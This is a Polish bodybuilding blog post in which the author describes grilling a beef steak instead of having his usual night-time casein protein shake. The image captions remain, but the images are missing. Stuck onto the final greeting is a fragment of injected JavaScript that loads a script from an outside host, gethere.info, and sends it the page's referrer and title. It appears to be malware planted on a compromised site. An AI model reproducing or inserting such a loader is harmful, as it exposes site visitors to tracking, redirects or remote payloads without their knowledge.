Stek wołowy VS Casein 100

7.09.2011 / Adam Jabłoński / Kulturystyka

Cześć,

Wczoraj będąc w markecie gdy zobaczyłem udziec wołowy od razu za chciało mi się takiego zrobić ” STEJKA „.

Tak więc kupiłem i zamiast ostatniego posiłku – którym to jest 30–60 gram CASEIN 100 czyli micelarnej kazeiny, to białko szczególnie dedykowane jest na noc, dzięki swojego powolnemu uwalnianiu aminokwasów zabezpiecza nas przed nocnym katabolizmem.

Dlatego CASEIN 100 przegrał tym razem z udźcem wołowym %-)

 

370 Gram wołowinki 😛 :

 

Sprzęt do szybkiego przyrządzenia STEJKA :

 

Przyprawiony STEJK :

 

SUROWY GRILOWANY STEK :

STEJK PO PARU MINUTACH :

STEJKI NA GRILU

GOTOWE STEJKI :

 

Także jak widać mało roboty popsikałem PAM -em grilla elektrycznego, a gdy się nagrzał ( temperaturę ustawiłem na trochę mniej niż MAX) wrzuciłem wołowinę na grilla.
Kkilka minut z jednej strony kilka minut z drugiej strony i GOTOWE.

KROWĘ yy znaczy STEKA na talerz trochę ketchupu i JAZDA ….

Muszę przyznać, że się nawet najadłem i głody nie poszedłem spać 😀

HEJ,

Pozdrawiams.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;